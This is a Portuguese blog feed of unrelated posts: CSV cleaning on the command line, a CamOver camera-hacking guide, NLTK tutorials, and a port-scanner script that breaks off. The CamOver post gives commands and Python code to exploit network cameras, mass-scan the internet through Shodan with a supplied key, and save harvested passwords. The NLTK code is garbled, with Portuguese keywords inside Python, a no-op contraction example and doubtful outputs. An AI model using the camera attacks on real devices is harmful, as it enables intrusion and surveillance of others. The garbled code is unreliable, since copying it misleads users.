Forem: Moprius

Visualização de dados em Python

Moprius — Thu, 20 Nov 2025 15:50:02 +0000

Quando alguém fala em “limpar dados”, a primeira imagem que costuma vir à cabeça é abrir um Jupyter Notebook e começar a brincar com pandas. Mas tem uma coisa que pouca gente lembra: uma parte bem poderosa dessa faxina pode acontecer direto no terminal, usando ferramentas que já vêm instaladas no sistema.

Aqui você vai ver como usar utilitários básicos de linha de comando para limpar, transformar e explorar arquivos de dados. Nada de instalar mil coisas: só o seu terminal aberto e alguns arquivos CSV na pasta, como se você estivesse mexendo numa planilha cheia de problemas de cadastro de clientes.

Antes de sair digitando comando, vale entender por que isso é tão útil no dia a dia:

Ferramentas de linha de comando são simples de usar, rápidas e eficientes, principalmente quando o arquivo é grande, tipo log de sistema, extrato gigante em CSV ou export de ERP.
Elas já vêm no Linux e no macOS, e existem versões para Windows também.
São ótimas para dar aquela primeira olhada nos dados antes de carregar tudo no Python ou em outra linguagem.
É fácil encadear comandos em scripts e reaproveitar essa rotina de limpeza como parte de uma automação, seja num cron job, num pipeline de dados ou num script de manutenção.

Vamos colocar a mão no teclado.

Dica: imagine que este texto está acompanhado de um script Bash em um repositório no GitHub. A ideia é que você abra o terminal, deixe o arquivo ao lado e vá copiando os comandos para sentir na pele como funciona.

Criando um conjunto de dados “sujo”

Primeiro passo: montar um CSV bem bagunçado para brincar. Ele simula problemas reais que aparecem em cadastro de RH, planilhas de vendas, lista de alunos e por aí vai.

cat > messy_data.csv << 'EOF'
name,age,salary,department,email
John Lee,32,50000,Engineering,john@example.com
Jane Smith,28,55000,Marketing,jane@example.com
   Bob Davis    ,35,60000,Engineering,bob@example.com
Alice Williams,29,,Marketing,alice@example.com
Charlie Brown,45,70000,Sales,charlie@example.com
Dave Wilson,31,52000,Engineering,
Emma Davis,,58000,Marketing,emma@example.com
Frank Miller,38,65000,Sales,frank@example.com
John Lee,32,50000,Engineering,john@example.com
Grace Lee,27,51000,Engineering,grace@example.com
EOF

Esse mini–conjunto de dados já vem com vários problemas típicos: espaço sobrando antes e depois de alguns nomes, valores faltando, linhas duplicadas. É o tipo de coisa que aparece quando você junta dados de sistemas diferentes, importa planilhas de várias pessoas ou baixa relatórios de plataformas distintas. Ótimo cenário para aprender.

1. Explorando seus dados com `head`, `tail` e `wc`

Antes de tentar arrumar qualquer coisa, você precisa entender com o que está lidando. É como abrir um armário bagunçado e dar aquela primeira olhada antes de decidir o que vai pro lixo, o que vai pra doação e o que volta pra prateleira.

# Ver as 5 primeiras linhas (incluindo o cabeçalho)
head -n 5 messy_data.csv

# Ver as 3 últimas linhas
tail -n 3 messy_data.csv

# Contar o total de linhas (incluindo o cabeçalho)
wc -l messy_data.csv

O que está rolando aqui?

head -n 5 mostra as 5 primeiras linhas, uma prévia rápida para ver se o formato do arquivo está dentro do esperado.
tail -n 3 mostra as 3 últimas, ótimo para checar se o arquivo terminou direito ou se ficou alguma linha cortada no final.
wc -l conta quantas linhas existem; tirando 1 (do cabeçalho), você descobre quantos registros tem de verdade.

Saída de exemplo:

name,age,salary,department,email
John Lee,32,50000,Engineering,john@example.com
Jane Smith,28,55000,Marketing,jane@example.com
   Bob Davis    ,35,60000,Engineering,bob@example.com
Alice Williams,29,,Marketing,alice@example.com
Frank Miller,38,65000,Sales,frank@example.com
John Lee,32,50000,Engineering,john@example.com
Grace Lee,27,51000,Engineering,grace@example.com
11 messy_data.csv

É como dar aquela olhada rápida numa planilha no LibreOffice só para ver se os dados “parecem” certos.

2. Visualizando colunas específicas com `cut`

Nem sempre você quer ver o arquivo todo. Às vezes, só quer saber o nome das pessoas e o setor onde trabalham, tipo quando sua chefe pede “me manda só a lista de nomes com o departamento, o resto não importa”.

cut -d',' -f1,4 messy_data.csv

Entendendo por partes:

cut é uma ferramenta para “recortar” pedaços de cada linha.
-d',' diz qual é o separador de campos; aqui é vírgula, como em qualquer CSV padrão.
-f1,4 indica que você quer as colunas 1 e 4 (name e department).

Você também pode usar intervalos de colunas: -f1-3 pegaria as colunas de 1 até 3.

Saída:

name,department
John Lee,Engineering
Jane Smith,Marketing
   Bob Davis    ,Engineering
Alice Williams,Marketing
Charlie Brown,Sales
Dave Wilson,Engineering
Emma Davis,Marketing
Frank Miller,Sales
John Lee,Engineering
Grace Lee,Engineering

Isso lembra muito filtrar colunas numa planilha, só que aqui você faz com um comando de uma linha e pode encaixar isso num script reutilizável.

3. Removendo linhas duplicadas com `sort` e `uniq`

Reparou que “John Lee” aparece duas vezes no arquivo? Em bancos de dados reais isso é clássico: cadastro duplicado de cliente, aluno repetido, funcionário que entrou duas vezes na lista de pagamento.

Vamos tratar isso.

# Salvar o cabeçalho primeiro
head -n 1 messy_data.csv > cleaned_data.csv

# Remover duplicatas do restante (sem o cabeçalho)
tail -n +2 messy_data.csv | sort | uniq >> cleaned_data.csv

O que cada parte faz?

head -n 1 pega só a primeira linha, o cabeçalho, e salva em cleaned_data.csv.
tail -n +2 pega tudo a partir da segunda linha, pulando o cabeçalho.
sort ordena as linhas; isso é importante porque o uniq só consegue remover duplicatas que estão uma abaixo da outra.
uniq elimina linhas repetidas adjacentes.
>> acrescenta o resultado ao final do arquivo (em vez de sobrescrever como > faria).

É como pegar uma lista de chamada, ordenar por nome e riscar os duplicados, deixando tudo organizadinho.

4. Buscando e filtrando com `grep`

Agora vamos falar de buscas e filtros. Quer localizar só quem está no setor de Engenharia? Ou encontrar linhas com campo vazio? A ferramenta que resolve isso direto no terminal é o grep.

# Encontrar todas as linhas de Engenharia
grep "Engineering" messy_data.csv

# Encontrar linhas com campos vazios (duas vírgulas seguidas)
grep ",," messy_data.csv

# Excluir linhas com dados faltando
grep -v ",," messy_data.csv > no_missing.csv

Como funciona:

grep "padrão" procura por linhas que contenham aquele texto.
grep -v faz o contrário: mostra só as linhas que não batem com o padrão.
No caso de ",,", estamos assumindo que um valor faltando vira duas vírgulas seguidas, algo comum quando um campo num CSV fica em branco.

Isso é muito útil quando você quer, por exemplo, separar uma lista “limpa” de clientes com todos os campos preenchidos e outra lista só com os registros problemáticos para corrigir depois.

5. Tirando espaços em excesso com `sed`

Repara no registro de “Bob Davis”: o nome está com espaços sobrando antes e depois. Isso atrapalha na hora de comparar, agrupar ou até de mostrar o nome num relatório bonitinho.

Vamos remover esse excesso.

sed 's/^[ \t]*//; s/[ \t]*$//' messy_data.csv > trimmed_data.csv

O que está acontecendo aqui?

sed é um “editor de fluxo”, uma ferramenta para editar texto enquanto ele passa pelo comando, sem abrir editor gráfico.
s/padrão/substituição/ é a sintaxe de substituição.
^[ \t]* combina espaços ou tabulações no começo da linha.
[ \t]*$ combina espaços ou tabulações no fim da linha.
O ponto e vírgula separa duas operações: primeiro limpamos o começo, depois o final.

Em termos práticos, é como usar “remover espaços extras” numa planilha, só que em qualquer arquivo texto que estiver passando pelo seu pipeline.

6. Substituindo valores com `sed`

Às vezes você precisa padronizar termos ou corrigir um erro de digitação. Imagine que o setor “Engineering” precisasse aparecer como “Tech” nos relatórios internos.

# Trocar todas as ocorrências de "Engineering" por "Tech"
sed 's/Engineering/Tech/g' messy_data.csv

Agora, vamos supor que você queira preencher e-mails vazios com um valor padrão, do tipo “no-email@example.com”, só para não deixar o campo em branco em nenhuma linha.

# Substituir e-mails vazios por "no-email@example.com"
sed 's/,$/,no-email@example.com/' messy_data.csv

Entendendo o comando:

O g no final significa “global”: substitui todas as ocorrências na linha, não apenas a primeira.
,$ identifica uma vírgula no final da linha, sinal de que o último campo está vazio.
Você pode emendar várias substituições usando ; entre elas.

É como fazer “localizar e substituir” num editor de texto, mas com a vantagem de rodar isso em scripts e automatizar a correção sempre que um arquivo novo chegar.

7. Contando e resumindo com `awk`

O awk é uma espécie de canivete suíço quando você precisa trabalhar com campos, somas e estatísticas simples. Vamos usar para analisar um pouco o nosso arquivo.

# Contar registros por departamento
tail -n +2 messy_data.csv | cut -d',' -f4 | sort | uniq -c

# Calcular idade média (ignorando cabeçalho e valores vazios)
tail -n +2 messy_data.csv | awk -F',' '{if($2) sum+=$2; if($2) count++} END {print "Average age:", sum/count}'

O que esse awk faz?

-F',' define a vírgula como separador de campos.
$2 é o segundo campo, nossa coluna de idade.
if($2) garante que só vamos considerar linhas em que a idade não está vazia.
sum += $2 vai acumulando as idades.
count++ conta quantos registros válidos entraram no cálculo.
O bloco END { ... } roda depois de passar por todas as linhas e imprime a média.

Saída típica:

      5 Engineering
      3 Marketing
      2 Sales
Average age: 33

É como pedir para o Excel fazer uma Tabela Dinâmica e uma média, só que tudo na linha de comando. Útil pra caramba quando você está no servidor sem interface gráfica ou montando um job automatizado.

8. Combinando comandos com pipes

A verdadeira força da linha de comando aparece quando você começa a encadear várias ferramentas usando o famoso |, o “pipe”. Ele pega a saída de um comando e joga direto como entrada do próximo.

# Pegar departamentos únicos, em ordem alfabética
tail -n +2 messy_data.csv | cut -d',' -f4 | sort | uniq

# Encontrar engenheiros com salário > 55000
tail -n +2 messy_data.csv | grep "Engineering" | awk -F',' '$3 > 55000' | cut -d',' -f1,3

# Contar funcionários por departamento, com contagem
tail -n +2 messy_data.csv | cut -d',' -f4 | sort | uniq -c | sort -rn

Aqui acontece o seguinte:

Cada | passa o resultado do comando anterior para o seguinte.
Você monta uma espécie de “esteira” de processamento, como linha de produção de fábrica: um comando recorta, outro filtra, outro agrupa, outro ordena.
No último exemplo, sort -rn ordena em ordem numérica reversa (dos maiores para os menores).

Saída ilustrativa:

Engineering
Marketing
Sales
   Bob Davis    ,60000
      5 Engineering
      3 Marketing
      2 Sales

Dá para perceber como as peças vão se encaixando? Você começa com um CSV simples e, em poucos comandos, tem um mini–relatório pronto.

9. Convertendo formatos de dados

Em alguns momentos você precisa mudar o “jeito” do arquivo, seja para importar em outro sistema, seja para abrir melhor em alguma ferramenta. Um caso comum é trocar vírgulas por tabulações, criando um TSV.

# Converter CSV para TSV (tab separado)
sed 's/,/\t/g' messy_data.csv > data.tsv

Agora vamos adicionar uma coluna fixa, por exemplo, o ano “2024” para todas as linhas. Pode ser algo como o ano do relatório ou da base de referência.

awk -F',' 'BEGIN{OFS=","} {print $0, "2024"}' messy_data.csv > data_with_year.csv

Detalhando esse awk:

BEGIN{OFS=","} define que o separador de saída será vírgula.
$0 representa a linha inteira de entrada.
print $0, "2024" imprime a linha original e, na sequência, a nova coluna “2024”.

É jeito rápido de enriquecer seus dados sem abrir editor algum, como se você estivesse inserindo uma coluna inteira numa planilha com o mesmo valor para todo mundo.

10. Montando um pipeline completo de limpeza

Agora vamos juntar tudo em um fluxo só, uma sequência de comandos que pega o arquivo sujo e cospe um arquivo bem mais apresentável.

# Salvar o cabeçalho
head -n 1 messy_data.csv > final_clean.csv

# Limpar os dados: remover duplicatas, aparar espaços, excluir linhas com faltas
tail -n +2 messy_data.csv | \
  sed 's/^[ \t]*//; s/[ \t]*$//' | \
  grep -v ",," | \
  sort | \
  uniq >> final_clean.csv

echo "Cleaning complete! Check final_clean.csv"

O que esse pipeline faz, na prática?

Garante que o cabeçalho fique preservado, indo direto para final_clean.csv.
Pula o cabeçalho e trabalha só nas linhas de dados.
Remove espaços extras no começo e no fim de cada linha.
Joga fora qualquer linha que tenha valores faltando (detectados pelo ",,").
Ordena as linhas e elimina duplicatas.
Anexa o resultado limpo ao arquivo final.

É quase como criar um “filtro inteligente” para planilhas, só que em forma de script. Você pode rodar isso todo dia em um diretório de arquivos novos, por exemplo, e ter sempre dados mais organizados antes de mandar para o banco ou para o Python.

Encerrando a ideia

Limpar dados na linha de comando é uma habilidade silenciosa, que não aparece em gráfico bonito, mas que faz uma diferença enorme na vida de quem lida com CSV, logs, exportações de sistemas e planilhas bagunçadas. Essas ferramentas são rápidas, confiáveis e convivem muito bem com Python e outras linguagens: você continua usando seus notebooks, só que chega neles com menos sujeira.

O mais interessante é que tudo isso não serve só para quem se vê como “cientista de dados”. Manipular dados direto no terminal ajuda em engenharia de dados, DevOps, administração de sistemas e qualquer rotina em que você precise mexer com arquivos de texto grandes de forma repetitiva.

Se você começar a praticar com seus próprios arquivos — lista de clientes, extrato exportado do banco, CSV de vendas da loja online, relatório de sistema acadêmico — vai perceber que muita tarefa chata some da sua rotina. E, com o tempo, vai ter cada vez mais vontade de resolver pequenos problemas de dados com meia dúzia de comandos no terminal em vez de abrir um notebook pesado só para uma limpeza rápida.

CamOver — ferramenta para exploração de vulnerabilidades em câmeras de rede

Moprius — Wed, 20 Nov 2024 23:27:51 +0000

Hoje vamos falar sobre uma ferramenta interessante: CamOver, utilizada para explorar vulnerabilidades de câmeras de rede, obter suas senhas e realizar diversos tipos de ataques. Os ataques acontecem explorando vulnerabilidades de modelos populares de câmeras, como CCTV, GoAhead e Netwave. Abaixo, explicarei detalhadamente como instalar e usar o CamOver.

Hackeando câmeras de rede com CamOver

Este artigo é destinado exclusivamente para fins educacionais e para o aprendizado de hackers éticos. O acesso não autorizado a câmeras de rede é ilegal e considerado crime. Nem o site spy-soft.net, nem o autor são responsáveis pelas suas ações.

Funcionalidades do CamOver:

Exploração de vulnerabilidades em modelos populares de câmeras de rede (CCTV, GoAhead, Netwave).
Suporte a múltiplas câmeras simultaneamente, graças à funcionalidade de multithreading.
Interface amigável para uso por linha de comando ou API.

Instalação do CamOver

Para instalar a ferramenta, basta usar o seguinte comando:

pip3 install git+https://github.com/EntySec/CamOver

Uso do CamOver

Após instalar, basta iniciar o CamOver com o comando:

camover

Parâmetros disponíveis ao iniciar o CamOver:

-h, --help            Exibe a mensagem de ajuda e sai.  
-t, --threads         Usa multithreading para acelerar o processo.  
-o OUTPUT, --output OUTPUT  Salva os resultados em um arquivo.  
-i INPUT, --input INPUT  Arquivo com endereços das câmeras.  
-a ADDRESS, --address ADDRESS  Um único endereço de câmera.  
--shodan SHODAN       Chave de API do Shodan para explorar câmeras pela internet.  
--zoomeye ZOOMEYE     Chave de API do ZoomEye para explorar câmeras pela internet.  
-p PAGES, --pages PAGES  Número de páginas a ser buscado no ZoomEye.

Exemplo de uso:

Exploração de uma única câmera

Suponha que exista uma câmera com o endereço IP 192.168.99.100. Para verificar se ela pode ser explorada, execute o seguinte comando:

camover -a 192.168.99.100

Exploração de câmeras pela internet

Para encontrar câmeras pela internet utilizando o Shodan, execute:

camover -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

A chave de API Shodan (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) é fornecida como exemplo. Você pode usar essa ou sua própria chave.

Exploração de câmeras a partir de um arquivo

Se você tem uma lista de endereços de câmeras em um arquivo chamado cameras.txt, pode tentar explorá-las e salvar as senhas obtidas em passwords.txt:

camover -t -i cameras.txt -o passwords.txt

Uso de API

O CamOver também fornece uma API em Python para integrar a ferramenta em seu código. O exemplo abaixo mostra como criar um objeto CamOver, explorar uma câmera por IP e exibir as credenciais obtidas:

from camover import CamOver

camover = CamOver()
creds = camover.exploit('192.168.99.100')

print(creds)

Explicação do código:

from camover import CamOver: Importa a classe CamOver da biblioteca.
camover = CamOver(): Cria um objeto CamOver para acessar seus métodos.
creds = camover.exploit('192.168.99.100'): Usa o método exploit para tentar explorar uma câmera pelo endereço IP 192.168.99.100. Se for bem-sucedido, retorna as credenciais (login e senha) da câmera.
print(creds): Exibe as credenciais obtidas.

Conclusão

O CamOver é uma ferramenta poderosa para explorar vulnerabilidades em câmeras de rede. Caso você se interesse por esse tema, ele pode ser um recurso valioso para aprendizado sobre segurança de redes e testes de penetração.

⚠️ Aviso legal: O uso de ferramentas como o CamOver para atividades não autorizadas é crime e pode acarretar sérias penalidades. Utilize essas informações apenas para fins legais e éticos.

Substituição e Correção de Palavras com NLTK em Python

Moprius — Wed, 31 Jul 2024 15:29:07 +0000

Quando a gente fala de processamento de linguagem natural (PLN), uma das tarefas mais importantes é a substituição e correção de palavras. Isso envolve técnicas como stemming, lematização, correção ortográfica, e substituição de palavras baseadas em sinônimos e antônimos. Usar essas técnicas pode melhorar bastante a qualidade de análise de texto, seja para motores de busca, chatbots ou análise de sentimentos. Vamos explorar como a biblioteca NLTK em Python ajuda nessas tarefas.

Stemming: Cortando Sufixos

Stemming é uma técnica que remove os sufixos das palavras, deixando só a raiz. Por exemplo, a palavra "correndo" tem a raiz "corr". Isso é útil para reduzir a quantidade de palavras que um motor de busca precisa indexar.

No NLTK, a gente pode usar o PorterStemmer para fazer stemming. Vamos ver como funciona:

from nltk.stem import PorterStemmer

stemmer = PorterStemmer()
print(stemmer.stem("correndo"))  # Saída: corr
print(stemmer.stem("correção"))  # Saída: correc

Aqui, a gente viu que o stemming corta os sufixos e deixa só a raiz das palavras. Isso ajuda a manter o foco no significado principal das palavras, sem se preocupar com suas variações.

Lemmatização: Voltando à Forma Base

A lematização é parecida com o stemming, mas ao invés de cortar sufixos, ela converte a palavra para a sua forma base, ou lemma. Por exemplo, "correndo" vira "correr". Isso é um pouco mais inteligente que o stemming, porque leva em conta o contexto da palavra.

Para fazer lematização no NLTK, a gente usa o WordNetLemmatizer:

from nltk.stem import WordNetLemmatizer

lemmatizer = WordNetLemmatizer()
print(lemmatizer.lemmatize("correndo", pos='v'))  # Saída: correr
print(lemmatizer.lemmatize("correções"))  # Saída: correção

Nesse exemplo, a gente usa a função lemmatize e, pra verbos, a gente especifica a parte do discurso (pos) como 'v'. Isso ajuda a NLTK a entender melhor o contexto da palavra.

Expressões Regulares para Substituição

Às vezes, a gente quer substituir palavras específicas ou padrões no texto. Pra isso, expressões regulares (regex) são muito úteis. Por exemplo, a gente pode usar regex pra expandir contrações, como "não" pra "não".

Aqui está como a gente pode fazer isso com NLTK:

import re

texto = "Eu não posso ir à festa. Você não vai?"
expansoes = [("não", "não")]

def expandir_contracoes(texto, expansoes):
    for (contraido, expandido) in expansoes:
        texto = re.sub(r'\b' + contraido + r'\b', expandido, texto)
    return texto

print(expandir_contracoes(texto, expansoes))  # Saída: Eu não posso ir à festa. Você não vai?

Nesse exemplo, a função expandir_contracoes usa regex pra encontrar e substituir palavras contraídas no texto.

Correção Ortográfica com Enchant

Outra tarefa importante é a correção ortográfica. Às vezes, os textos têm erros de digitação ou ortografia, e corrigir isso é essencial pra análise de texto. A biblioteca pyenchant é ótima pra isso.

Primeiro, a gente precisa instalar a biblioteca pyenchant:

pip install pyenchant

Depois, a gente pode usar o Enchant pra corrigir palavras:

import enchant

d = enchant.Dict("pt_BR")
palavra = "corrigindo"
if d.check(palavra):
    print(f"{palavra} está correta")
else:
    print(f"{palavra} está incorreta, sugestões: {d.suggest(palavra)}")

Se a palavra estiver incorreta, o Enchant sugere correções.

Substituição de Sinônimos

Substituir palavras por seus sinônimos pode enriquecer um texto, evitando repetições e melhorando o estilo. Com o WordNet, a gente pode encontrar sinônimos facilmente.

Aqui está como a gente pode fazer isso:

from nltk.corpus import wordnet

def substituir_sinonimos(palavra):
    sinonimos = []
    for syn in wordnet.synsets(palavra, lang='por'):
        for lemma in syn.lemmas():
            sinonimos.append(lemma.name())
    return set(sinonimos)

print(substituir_sinonimos("bom"))  # Saída: {'bom', 'legal', 'ótimo', 'excelente'}

Nesse exemplo, a função substituir_sinonimos retorna uma lista de sinônimos pra palavra dada.

Substituição de Antônimos

Assim como sinônimos, antônimos também são úteis, especialmente pra tarefas como análise de sentimentos. A gente pode usar o WordNet pra encontrar antônimos:

def substituir_antonimos(palavra):
    antonimos = []
    for syn in wordnet.synsets(palavra, lang='por'):
        for lemma in syn.lemmas():
            if lemma.antonyms():
                antonimos.append(lemma.antonyms()[0].name())
    return set(antonimos)

print(substituir_antonimos("bom"))  # Saída: {'mau', 'ruim'}

Essa função encontra antônimos pra palavra dada.

Aplicações Práticas

Vamos ver algumas aplicações práticas dessas técnicas.

Análise de Sentimentos

A análise de sentimentos envolve determinar a polaridade (positiva, negativa ou neutra) de um texto. Substituição de palavras pode melhorar essa análise.

texto = "Eu adorei o filme, mas a comida estava ruim."
palavras = word_tokenize(texto, language='portuguese')
polaridade = 0

for palavra in palavras:
    sinsets = wordnet.synsets(palavra, lang='por')
    if sinsets:
        for syn in sinsets:
            polaridade += syn.pos_score() - syn.neg_score()

print("Polaridade do texto:", polaridade)  # Saída: Polaridade do texto: 0.25 (por exemplo)

Normalização de Texto

A normalização de texto envolve transformar o texto em uma forma consistente. Isso pode incluir a correção ortográfica, remoção de stopwords, e substituição de sinônimos.

stopwords = set(stopwords.words('portuguese'))
texto = "A análise de textos é uma área fascinante do PLN."
palavras = word_tokenize(texto, language='portuguese')
palavras_filtradas = [w for w in palavras se não w in stopwords]

texto_normalizado = " ".join(palavras_filtradas)
print(texto_normalizado)  # Saída: "análise textos área fascinante PLN"

Melhoria da Busca em Textos

Em motores de busca, a substituição de sinônimos pode melhorar os resultados da busca, encontrando documentos que usam sinônimos das palavras-chave buscadas.

consulta = "bom filme"
consulta_expandidas = []

for palavra em consulta.split():
    sinonimos = substituir_sinonimos(palavra)
    consulta_expandidas.extend(sinonimos)

print("Consulta expandida:", " ".join(consulta_expandidas))  # Saída: "bom legal ótimo excelente filme"

Conclusão

Neste texto, exploramos várias técnicas de substituição e correção de palavras usando a biblioteca NLTK em Python. Vimos como fazer stemming, lematização, usar expressões regulares para substituir palavras, correção ortográfica com Enchant, e substituição de sinônimos e antônimos com o WordNet. Também discutimos aplicações práticas dessas técnicas em análise de sentimentos, normalização de texto e motores de busca.

O uso dessas técnicas pode melhorar significativamente a qualidade da análise de texto, tornando os resultados mais precisos e relevantes. O NLTK oferece uma gama poderosa de ferramentas para quem trabalha com processamento de linguagem natural, e entender como utilizar essas ferramentas é essencial para qualquer projeto de PLN.

Introdução à Tokenização e Básicos do WordNet com Python e NLTK

Moprius — Wed, 31 Jul 2024 15:21:09 +0000

O processamento de linguagem natural (PLN) é um campo fascinante que combina linguística e computação para entender, interpretar e manipular a linguagem humana. Uma das ferramentas mais poderosas para isso é a Natural Language Toolkit (NLTK) em Python. Neste texto, vamos explorar os conceitos de tokenização e o uso do WordNet, uma base lexical para a língua inglesa, que é amplamente utilizada em PLN.

O que é Tokenização?

Tokenização é o processo de dividir um texto em unidades menores, chamadas tokens. Esses tokens podem ser palavras, frases ou até mesmo caracteres individuais. A tokenização é um passo crucial no processamento de textos porque permite que os algoritmos compreendam e analisem o texto de forma mais eficaz.

Por exemplo, considere a frase "Olá, mundo!". A tokenização dessa frase pode resultar em três tokens: ["Olá", ",", "mundo", "!"]. Essa divisão permite que cada parte do texto seja analisada individualmente, facilitando tarefas como análise de sentimentos, tradução automática e reconhecimento de entidades nomeadas.

No NLTK, a tokenização pode ser feita de várias maneiras. Vamos ver alguns exemplos práticos.

Tokenizando Textos em Sentenças

Dividir um texto em sentenças é o primeiro passo em muitas tarefas de PLN. O NLTK facilita isso com a função sent_tokenize.

import nltk
from nltk.tokenize import sent_tokenize

texto = "Olá mundo! Bem-vindo ao tutorial de NLTK. Vamos aprender a tokenizar textos."
sentencas = sent_tokenize(texto, language='portuguese')
print(sentencas)

O resultado será:

['Olá mundo!', 'Bem-vindo ao tutorial de NLTK.', 'Vamos aprender a tokenizar textos.']

Aqui, o texto foi dividido em três sentenças. Isso é útil para análises mais detalhadas, onde cada sentença pode ser processada individualmente.

Tokenizando Sentenças em Palavras

Depois de dividir o texto em sentenças, o próximo passo geralmente é dividir essas sentenças em palavras. A função word_tokenize do NLTK é usada para isso.

from nltk.tokenize import word_tokenize

frase = "Olá mundo!"
palavras = word_tokenize(frase, language='portuguese')
print(palavras)

O resultado será:

['Olá', 'mundo', '!']

Agora, temos cada palavra e símbolo de pontuação como tokens separados. Isso é essencial para tarefas como análise de frequência de palavras, onde precisamos contar quantas vezes cada palavra aparece em um texto.

Usando Expressões Regulares para Tokenização

Em alguns casos, você pode querer uma tokenização mais personalizada. As expressões regulares (regex) são uma ferramenta poderosa para isso. O NLTK fornece a classe RegexpTokenizer para criar tokenizadores personalizados.

from nltk.tokenize import RegexpTokenizer

tokenizer = RegexpTokenizer(r'\w+')
tokens = tokenizer.tokenize("Vamos aprender NLTK.")
print(tokens)

O resultado será:

['Vamos', 'aprender', 'NLTK']

Aqui, usamos uma expressão regular que seleciona apenas palavras compostas por caracteres alfanuméricos, ignorando a pontuação.

Introdução ao WordNet

O WordNet é uma base de dados lexical que agrupa palavras em conjuntos de sinônimos chamados synsets, fornece definições curtas e gerais, e registra várias relações semânticas entre essas palavras. No NLTK, o WordNet é utilizado para encontrar sinônimos, antônimos, hipônimos e hiperônimos, entre outras relações.

Para usar o WordNet, precisamos importar o módulo wordnet do NLTK.

from nltk.corpus import wordnet

Buscando Synsets

Um synset, ou conjunto de sinônimos, é um grupo de palavras que compartilham o mesmo significado. Para buscar os synsets de uma palavra, usamos a função synsets.

sinonimos = wordnet.synsets("dog")
print(sinonimos)

O resultado será uma lista de synsets que representam diferentes sentidos da palavra "dog".

[Synset('dog.n.01'), Synset('frump.n.01'), Synset('dog.n.03'), Synset('cad.n.01'), Synset('frank.n.02'), Synset('pawl.n.01'), Synset('andiron.n.01')]

Cada synset é identificado por um nome que inclui a palavra, a parte do discurso (n para substantivo, v para verbo, etc.), e um número que distingue diferentes sentidos.

Definições e Exemplos

Podemos obter a definição e exemplos de uso de um synset específico.

sinonimo = wordnet.synset('dog.n.01')
print(sinonimo.definition())
print(sinonimo.examples())

O resultado será:

a domesticated carnivorous mammal (Canis familiaris) that typically has a long snout, an acute sense of smell, non-retractile claws, and a barking, howling, or whining voice
['the dog barked all night']

Isso nos dá uma compreensão clara do significado e do uso de "dog" neste contexto.

Buscando Sinônimos e Antônimos

Para encontrar sinônimos e antônimos de uma palavra, podemos explorar os lemmas dos synsets.

sinonimos = []
antonimos = []

for syn in wordnet.synsets("good"):
    for lemma in syn.lemmas():
        sinonimos.append(lemma.name())
        if lemma.antonyms():
            antonimos.append(lemma.antonyms()[0].name())

print(set(sinonimos))
print(set(antonimos))

O resultado será uma lista de sinônimos e antônimos para a palavra "good".

{'skillful', 'proficient', 'practiced', 'unspoiled', 'goodness', 'good', 'dependable', 'sound', 'right', 'safe', 'respectable', 'effective', 'trade_good', 'adept', 'good', 'full', 'commodity', 'estimable', 'honorable', 'undecomposed', 'serious', 'secure', 'dear', 'ripe'}
{'evilness', 'evil', 'ill'}

Calculando Similaridade Semântica

O WordNet também permite calcular a similaridade semântica entre palavras. A similaridade é baseada na distância entre os synsets no gráfico de hipônimos/hiperônimos.

from nltk.corpus import wordnet

cachorro = wordnet.synset('dog.n.01')
gato = wordnet.synset('cat.n.01')
similaridade = cachorro.wup_similarity(gato)
print(similaridade)

O resultado será um valor de similaridade entre 0 e 1.

0.8571428571428571

Esse valor indica que "dog" e "cat" são bastante similares semanticamente.

Filtrando Stopwords

Stopwords são palavras comuns que geralmente não adicionam muito significado ao texto, como "e", "a", "de". Remover essas palavras pode ajudar a focar nas partes mais importantes do texto. O NLTK fornece uma lista de stopwords para várias línguas.

from nltk.corpus import stopwords

stop_words = set(stopwords.words('portuguese'))
palavras = ["Olá", "mundo", "é", "um", "lugar", "bonito"]
palavras_filtradas = [w for w in palavras if not w in stop_words]
print(palavras_filtradas)

O resultado será:

['Olá', 'mundo', 'lugar', 'bonito']

Aqui, as stopwords foram removidas da lista original de palavras.

Aplicações Práticas

Análise de Sentimentos

A análise de sentimentos é uma aplicação comum de PLN onde o objetivo é determinar a opinião ou emoção expressa em um texto. Tokenização e o uso de WordNet são passos importantes nesse processo.

Primeiro, dividimos o texto em palavras e removemos as stopwords. Em seguida, podemos usar os synsets para entender melhor o contexto e a polaridade das palavras.

texto = "Eu amo programação em Python!"
palavras = word_tokenize(texto, language='portuguese')
palavras_filtradas = [w for w in palavras if not w in stop_words]

polaridade = 0
for palavra in palavras_filtradas:
    synsets = wordnet.synsets(palavra, lang='por')
    if synsets:
        for syn in synsets:
            polaridade += syn.pos_score() - syn.neg_score()

print("Polaridade do texto:", polaridade)

Nesse exemplo simplificado, estamos somando os scores positivos e negativos dos synsets das palavras filtradas para determinar a polaridade geral do texto.

Reconhecimento de Entidades Nomeadas

Outra aplicação é o reconhecimento de entidades nomeadas (NER), que identifica e classifica nomes de pessoas, organizações, locais, etc., em um texto.

import nltk
nltk.download('maxent_ne_chunker')
nltk.download('words')

frase = "Barack Obama foi o 44º presidente dos Estados Unidos."
palavras = word_tokenize(frase, language='portuguese')
tags = nltk.pos_tag(palavras)
entidades = nltk.ne_chunk(tags)
print(entidades)

O resultado será uma árvore que identifica "Barack Obama" como uma pessoa e "Estados Unidos" como um local.

Conclusão

Neste texto, exploramos os conceitos básicos de tokenização e uso do WordNet com a biblioteca NLTK em Python. Vimos como dividir textos em sentenças e palavras, como buscar sinônimos e antônimos, calcular similaridades semânticas, e aplicações práticas como análise de sentimentos e reconhecimento de entidades nomeadas. A NLTK é uma ferramenta poderosa para qualquer pessoa interessada em processamento de linguagem natural, oferecendo uma ampla gama de funcionalidades para transformar e analisar textos de forma eficaz.

Como Escanear Portas em um Website com Python

Moprius — Thu, 27 Jun 2024 00:05:12 +0000

Você já deve ter ouvido falar do Nmap e de escaneamento de portas em servidores, bem, nesse script feito em Python vamos fazer algo bem semelhante, vamos verificar as portas abertas em websites. Vamos explorar um pouco de maneira simples e fácil de entender

Introdução

Portas abertas em um servidor são como portas de entrada para diferentes serviços. Saber quais portas estão abertas pode ajudar você a entender melhor a segurança do seu site ou simplesmente satisfazer sua curiosidade sobre o funcionamento interno de um site. Vamos mergulhar em um script que escaneia essas portas usando Python.

Código completo

import socket
import argparse
from concurrent.futures import ThreadPoolExecutor

# Função para verificar uma única porta
def scan_port(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(1)  # Define um timeout de 1 segundo
    try:
        sock.connect((host, port))
        return port, True
    except (socket.timeout, socket.error):
        return port, False
    finally:
        sock.close()

# Função para escanear uma lista de portas
